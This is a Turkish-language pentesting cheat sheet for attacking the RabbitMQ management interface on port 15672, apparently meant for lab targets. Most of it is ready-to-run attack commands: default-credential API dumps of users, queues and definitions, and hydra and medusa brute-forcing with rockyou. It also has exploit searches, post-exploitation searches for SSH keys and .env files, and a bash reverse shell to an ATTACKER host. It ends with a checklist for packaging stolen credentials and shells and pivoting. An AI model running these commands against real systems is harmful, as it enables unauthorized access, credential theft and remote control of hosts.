Skip to content

15672 - Pentesting RabbitMQ Management

RabbitMQ mgmt

Yönetim UI/API (15672) kuyruk, kullanıcı ve binding sızdırır. guest/guest hâlâ sık açık. Hedef lab IP’si üzerinde komutları 15672 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 15672 HTTP doğrula.

  2. guest/guest ve API token dene.

  3. Queue/exchange dump.

  4. Plugin/definition abuse ile komut.

Terminal window
nmap -Pn -sV -p15672,5672 TARGET
Terminal window
curl -s http://TARGET:15672/api/overview -u guest:guest
Terminal window
curl -s http://TARGET:15672/
Terminal window
curl -s http://TARGET:15672/api/users -u guest:guest
Terminal window
hydra -L users.txt -P pass.txt http-get://TARGET:15672/api/overview
guest/guest, admin/admin, rabbit/rabbit
Terminal window
curl -s http://TARGET:15672/api/queues -u guest:guest | jq .
Terminal window
curl -s http://TARGET:15672/api/definitions -u guest:guest -o defs.json
messages → credentials; shovels/federation → SSRF/pivot

RabbitMQ Management için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p15672 TARGET
Terminal window
nmap -Pn -p15672 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:15672' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',15672));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → RabbitMQ Management
Terminal window
hydra -L users.txt -P rockyou.txt -s 15672 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 15672
Terminal window
nmap -p15672 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit RabbitMQ
Terminal window
msfconsole -q -x 'search RabbitMQ; exit'
Terminal window
nuclei -u https://TARGET:15672 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:15672 -tags tech -silent || true
Terminal window
nc -nv TARGET 15672
Terminal window
printf '
' | timeout 3 nc -nv TARGET 15672
Terminal window
curl -vk --http1.0 http://TARGET:15672/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
guest/guest → /api/definitions → secrets → AMQP pivot